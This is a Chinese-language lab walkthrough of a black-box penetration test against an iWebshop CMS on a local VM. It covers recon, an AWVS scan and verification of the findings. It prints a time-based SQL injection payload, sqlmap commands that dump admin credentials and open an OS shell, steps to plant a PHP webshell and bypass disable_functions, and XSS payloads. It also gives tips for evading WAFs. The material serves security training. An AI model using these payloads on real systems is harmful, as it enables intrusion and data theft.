1、靶场准备
1.1 安装靶机
导入cms.ovf文件打开靶机,密码123,连接上网络:

虚拟机中打开浏览器,访问:http://127.0.0.1:23978/a4c6d8bb 进入宝塔面板,登录:
username: moc6xell
password: 7b6685db
注册登录自己的宝塔账号,如果没有配置需求,也可以不绑定宝塔账号。

进入网站,保证状态为启动即可。如果状态是暂停图标,则点击即可启动。
1.2 面板无法访问的解决
1.2.1 重启宝塔面板
cms@ubuntu:~$ sudo bt
#输入密码:123
[sudo] password for cms:
===============宝塔面板命令行==================
(1) 重启面板服务 (8) 改面板端口
(2) 停止面板服务 (9) 清除面板缓存
(3) 启动面板服务 (10) 清除登录限制
(4) 重载面板服务 (11) 设置是否开启IP + User-Agent验证
(5) 修改面板密码 (12) 取消域名绑定限制
(6) 修改面板用户名 (13) 取消IP访问限制
(7) 强制修改MySQL密码 (14) 查看面板默认信息
(22) 显示面板错误日志 (15) 清理系统垃圾
(23) 关闭BasicAuth认证 (16) 修复面板(检查错误并更新面板文件到最新版)
(24) 关闭动态口令认证 (17) 设置日志切割是否压缩
(25) 设置是否保存文件历史副本 (18) 设置是否自动备份面板
(26) 关闭面板ssl (28) 修改面板安全入口
(0) 取消 (29) 取消访问设备验证
===============================================
请输入命令编号:1
选择1重启后,刷新浏览器。
1.2.2 删除浏览器缓存
在浏览器配置(Preferences)中搜索cache后,点击 Clear Data,在弹出框继续点击 Clear 完成清除,刷新浏览器。
1.3 访问Web应用
物理机或者其他虚拟机访问Web应用,需要进行hosts配置。首先查看Web应用搭载虚拟机IP地址:

由此在hosts文件后追加:
192.168.49.139 www.example1.com
即可,不可修改可使用修改后的同名文件以管理员权限覆盖,Windows路径在C:\Windows\System32\drivers\etc\,Linux路径在/etc/。修改完成后即可访问www.example1.com:

2、信息收集
在实际工作中,很有可能我们只能得到一个域名,需要针对该域名进行黑盒测试。所以在初始资产只有一个域名的情况下,应该马上去进行各种信息的收集。
2.1 IP收集

使用ping命令得到IP地址,同时根据
TTL=64判断服务器是Linux系统。
2.2 端口收集
利用nmap进行端口探测:
sudo nmap -O -sV 192.168.49.139

可以看到服务端21、80、888端口为开放状态。其中21为ftp默认端口,而80与888都是Apache Httpd服务。80端口很显然就是我们的电商应用默认的HTTP端口,而888一般是PhpMyAdmin的默认端口。这些信息在后续渗透过程中可以尝试利用的点。
2.3 目录扫描
可以使用7kscan添加字典扫描网址:

随机复制的url访问大概率会重定向到网站主页,只要URL中存在后缀名、点或者一些特殊字符则会显示主页,否则显示自定义的错误页面,如:
http://www.example1.com/xxxx #显示错误页面
http://www.example1.com/xxxx. #显示主页
这也是一种防止目录扫描的方式。这种方式与Waf拦截不同,Waf拦截我们可以尝试修改UA头、挂代理、延迟等方式来绕过,而这种方式无法被绕过。遇到这种现象我们可以使用dirmap来扫描(在dirmap路径使用powershell执行,python环境用anaconda切合适的):
python --version
#Python 3.6.8
pip --version
#pip 21.3.1 from xxx (python 3.6)
#安装依赖
pip install -r requirement.txt -i https://mirrors.aliyun.com/pypi/simple/
#扫描
python dirmap.py -i http://www.example1.com/ -lcf

与7kbscan不同的是,虽然7kbscan的结果中也有返回长度,但是没有任何数据。而利用dirmap却可以看到不同的URL请求的获得的数据长度,通过浏览器访问发现,大小在7KB左右的是无意义的虚假地址(显示主页)。而其他大小的会有对应的真实页面。其中通过访问:http://www.example1.com/admin/account.html可以发现后台登录页。

同时通过后台登录的底部信息,我们还能得到更多关于网站的信息:


2.4 信息整理
目前我们信息搜集到的有:
1、域名:www.example1.com
2、IP:192.168.49.139
3、操作系统:Linux 5.0 -5.14 (98%), MikroTik Routeros 7.2 -7.5 (Linux 5.6.3) (98%)...
4、开放端口:21、80、888
5、开发语言与CMS:PHP、iWebshop
6、后台地址: http://www.example1.com/admin/
这些信息都可以进行再一步渗透挖掘。
3、AWVS漏洞扫描
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。
3.1 扫描速度配置
由于AWVS本质就是利用爬虫,构造各种请求以确认是否存在相应漏洞,比如:
#测试是否存在SQL注入漏洞
https://xxxx/?a=1 and 1=1
#测试是否存在XSS漏洞
https://xxxx/?a=<script>alert(1)</script>
当待扫描站点开启waf,此时可以通过调整AWVS扫描速度避免waf对频繁请求的IP进行封禁(或者自己设置IP代理池):

3.2 登录配置
如果需要AWVS能够扫描登录之后的功能,可以为AWVS配置登录,除了基本的利用账号、密码登录之外还可以录制登录序列脚本:

我们先不登录进行扫描(因为我们不知道用户账户和密码,如果是可以自己申请的可以申请一个)
3.3 请求配置
后面还有一些代理、请求头等的配置,可以用来规避waf,需要的时候使用即可:

所有配置完成后就可以开始扫描了。扫描需要的时间随配置的扫描速度、网络状态以及网站复杂度上升而增加。如果条件允许的情况下,也可以同时开启多个扫描工具同时扫描。
4、扫描结果验证

4.1 SQL注入漏洞(高危)
4.1.1 漏洞验证

复制内容构造url在浏览器访问,并打开浏览器的
http://www.example1.com/index.php?action=search_list&controller=site&word=0'XOR(if(now()=sysdate()%2Csleep(4)%2C0))XOR'Z

就可以使用SqlMap爆破数据了(如果只是验证漏洞存在,拿个库名就行,不要去脱库)
4.1.2 SqlMap数据爆破
此时可以直接借助sqlmap进行数据爆破:
# 获取数据库名
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --current-db --batch
# 获取数据库有哪些表
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com --tables --batch
# 列出指定表的字段
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin --columns --batch
# 获取指定字段数据
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin -C admin_name,password --dump --batch

4.1.3 SqlMap Shell
利用Sqlmap可以直接完成WebShell的获取:
前提是:
- mysql配置中,secure_file_priv=";
- 网站使用的数据库账户允许文件读写;
-
--is-dba判断是否具备dba(数据库管理员权限),具备dba权限用户一般允许文件读写; - 经验:sqlmap的dba判断有bug;
- 如果掌握数据库账号密码,并且能够直接操作数据库,可以通过SQL语句查询,否则只能尝试;
-
#查看username是否具备文件读写权限(普通用户只能查看自己)
SHOW GRANTS FOR 'username'@'localhost';
#设置username文件读写权限(需要数据库root用户)
GRANT FILE ON *.* TO 'username'@'localhost';
#修改后刷新权限
FLUSH PRIVILEGES;
- 网站使用的数据库账户具有网站目录读写权限;
- 掌握网站目录路径;
在当前这次渗透测试背景(黑盒测试)中我们只能去尝试:
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --os-shell

可以使用上述文件上传的链接上传一句话木马,或者使用命令上传一句话木马:
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" --file-write ~/Downloads/muma.php --file-dest /www/wwwroot/www.example1.com/muma.php


接下来使用蚁剑连接木马:


浏览器直接访问木马查看phpinfo:

由于一句话木马通过 eval执行php代码,如果执行命令,需要借助其他函数,即类似于:
eval(system('ls')),而服务器的 disable_functions 中禁止了 system 函数,导致无法执行命令。
此时可以借助蚁剑插件完成绕过,在蚁剑中右键选择插件市场(因为网络原因,在线市场无法打开,我们手动添加离线插件),将蚁剑插件 as_bypass_php_disable_functions master.zip 解压至蚁剑源码的 antData/plugins 目录并重启完成本地安装:

插件安装完成后,在需要控制的URL地址点击右键选择绕过disable_functions:

尝试不同模式直到成功:

经验证,SQL注入漏洞存在,并且能够成功获取数据库所有数据,同时还能获取WebShell!
4.2 反射XSS(中危)

将请求地址进行简单修改后直接访问:
http://www.example1.com/index.php?action=search_list&controller=site&word=1<script>alert(9709)</script>

此处为反射型Xss,相对来说要比DOM型容易触发,因为不需要受害者再点击什么,只要访问这个地址就能完成攻击。
4.3 DOM 型XSS(低危)

根据工具扫描的漏洞详情,发现多个DOM型XSS漏洞,并且都是在wvstest参数中,尝试在浏览器直接访问:
http://www.example1.com/simple/cart2/tourist/alert(1)?wvstest=javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")#javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")

通过观察页面与URL地址,很明显发生了重定向。此时网页透漏出来的信息是:下单。很显然需要登录之后才能下单。猜测需要登录才能访问重定向前的URL。
完成登录后(admin,admin123)重新访问,并且通过 F12 搜索关键字:domxssExecutionSink

对于wwstest参数的数据会被注入到提交订单的form表单action中,因此,当受害者点击提交订单,则会执行构造的JS,重新构造URL:
http://www.example1.com/simple/cart2?wvstest=javascript:alert(1)

点击提交订单,弹出窗口1,确认漏洞存在,这种XSS漏洞属于DOM型,而不是存储型,只能算低危漏洞。因为攻击者要利用这种漏洞需要受害用户访问你构造的这个链接,同时还要点击提交订单。局限性太大了,而且攻击对象是某个用户这个人。